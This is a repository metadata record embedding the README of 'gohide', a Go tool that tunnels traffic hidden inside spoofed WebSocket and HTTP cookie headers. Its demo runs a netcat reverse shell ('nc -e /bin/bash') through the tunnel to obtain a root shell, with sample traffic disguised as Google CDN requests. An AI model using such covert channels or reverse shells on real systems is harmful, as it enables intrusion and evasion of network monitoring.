{"id":13776070,"url":"https://github.com/potato-industries/gohide","last_synced_at":"2025-04-26T20:31:53.020Z","repository":{"id":61626733,"uuid":"223034903","full_name":"Potato-Industries/gohide","owner":"Potato-Industries","description":"tunnel port to port traffic over an obfuscated channel with AES-GCM encryption.","archived":false,"fork":false,"pushed_at":"2019-11-22T18:17:56.000Z","size":66,"stargazers_count":66,"open_issues_count":0,"forks_count":13,"subscribers_count":4,"default_branch":"master","last_synced_at":"2025-04-04T17:51:50.935Z","etag":null,"topics":["golang","obfuscation","port-forwarding","security","tcp","tunnel"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Potato-Industries.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-11-20T21:56:46.000Z","updated_at":"2024-11-27T21:15:26.000Z","dependencies_parsed_at":"2022-10-19T19:00:26.544Z","dependency_job_id":null,"html_url":"https://github.com/Potato-Industries/gohide","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Fgohide","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Fgohide/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Fgohide/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Fgohide/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Potato-Industries","download_url":"https://codeload.github.com/Potato-Industries/gohide/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251051459,"owners_count":21528787,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["golang","obfuscation","port-forwarding","security","tcp","tunnel"],"created_at":"2024-08-03T17:01:59.370Z","updated_at":"2025-04-26T20:31:52.780Z","avatar_url":"https://github.com/Potato-Industries.png","language":"Go","funding_links":[],"categories":["\u003ca id=\"01e6651181d405ecdcd92a452989e7e0\"\u003e\u003c/a\u003e工具"],"sub_categories":["\u003ca id=\"ea4dfcd8f33ec1852180c6283b2c8516\"\u003e\u003c/a\u003e未分类"],"readme":"# gohide \n\nTunnel port to port traffic via an obfuscated channel with AES-GCM encryption. \n\n**Obfuscation Modes**\n- Session Cookie HTTP GET (http-client)\n- Set-Cookie Session Cookie HTTP/2 200 OK (http-server) \n- WebSocket Handshake \"Sec-WebSocket-Key\" (websocket-client)\n- WebSocket Handshake \"Sec-WebSocket-Accept\" (websocket-server)\n- No obfuscation, just use AES-GCM encrypted messages (none)\n\nAES-GCM is enabled by default for each of the options above.\n\n**Usage**\n```\nroot@WOPR-KALI:/opt/gohide-dev# ./gohide -h\nUsage of ./gohide:\n  -f string\n    \tlisten fake server -r x.x.x.x:xxxx (ip/domain:port) (default \"0.0.0.0:8081\")\n  -key openssl passwd -1 -salt ok | md5sum\n    \taes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default \"5fe10ae58c5ad02a6113305f4e702d07\")\n  -l string\n    \tlisten port forward -l x.x.x.x:xxxx (ip/domain:port) (default \"127.0.0.1:8080\")\n  -m string\n    \tobfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default \"none\")\n  -pem string\n    \tpath to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default \"default\")\n  -r string\n    \tforward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default \"127.0.0.1:9999\")\n\n```\n\n**Scenario** \n\nBox A - Reverse Handler. \n\n```\nroot@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client\nLocal Port Forward Listening: 127.0.0.1:8080\nFakeSrv Listening: 0.0.0.0:8081\n```\nBox B - Target.\n```\nroot@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-server\nLocal Port Forward Listening: 127.0.0.1:9090\nFakeSrv Listening: 0.0.0.0:9091\n\n```\nNote:\n/etc/hosts \"127.0.0.1 target.com\"\n\nBox B - Netcat /bin/bash\n\n```\nroot@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090\n\n```\nBox A - Netcat client\n```\nroot@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080\nlocalhost [127.0.0.1] 8080 (http-alt) open\nid\nuid=0(root) gid=0(root) groups=0(root)\nuname -a\nLinux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux\nnetstat -pantwu \nActive Internet connections (servers and established)\ntcp        0      0 127.0.0.1:39684         127.0.0.1:8081          ESTABLISHED 14334/./gohide      \n\n```\n**Obfuscation Samples**\n\nwebsocket-client (Box A to Box B)\n- Sec-WebSocket-Key contains AES-GCM encrypted content e.g. \"uname -a\".\n```\nGET /news/api/latest HTTP/1.1\nHost: cdn-tb0.gstatic.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko\nUpgrade: websocket\nConnection: Upgrade\nSec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62\nSec-WebSocket-Version: 13\n```\n\nwebsocket-server (Box B to Box A)\n- Sec-WebSocket-Accept contains AES-GCM encrypted output.\n```\nHTTP/1.1 101 Switching Protocols\nUpgrade: websocket\nConnection: Upgrade\nSec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=\n```\nhttp-client\n- Session cookie header contains AES-GCM encrypted content\n```\nGET /news/api/latest HTTP/1.1\nHost: cdn-tbn0.gstatic.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://www.bbc.co.uk/\nConnection: keep-alive\nCookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly\n```\nhttp-server\n- Set-Cookie header contains AES-GCM encrypted content.\n```\nHTTP/2.0 200 OK\ncontent-encoding: gzip\ncontent-type: text/html; charset=utf-8\npragma: no-cache\nserver: nginx\nx-content-type-options: nosniff\nx-frame-options: SAMEORIGIN\nx-xss-protection: 1; mode=block\ncache-control: no-cache, no-store, must-revalidate\nexpires: Thu, 21 Nov 2019 01:07:15 GMT\ndate: Thu, 21 Nov 2019 01:07:15 GMT\ncontent-length: 30330\nvary: Accept-Encoding\nX-Firefox-Spdy: h2\nSet-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly\n\n```\n\nnone\n```\n8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA\n```\n\n![Screenshot from 2019-11-21 02-26-30](https://user-images.githubusercontent.com/56988989/69298676-804ba680-0c06-11ea-84f6-2a32c48a3ba0.png)\n\n![Screenshot from 2019-11-21 16-40-07](https://user-images.githubusercontent.com/56988989/69357798-a3656d00-0c7d-11ea-9db9-d3fe5d2e9ccf.png)\n\n\nFuture\n- Fix up error handling.\n\n\n\nEnjoy~\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpotato-industries%2Fgohide","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpotato-industries%2Fgohide","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpotato-industries%2Fgohide/lists"}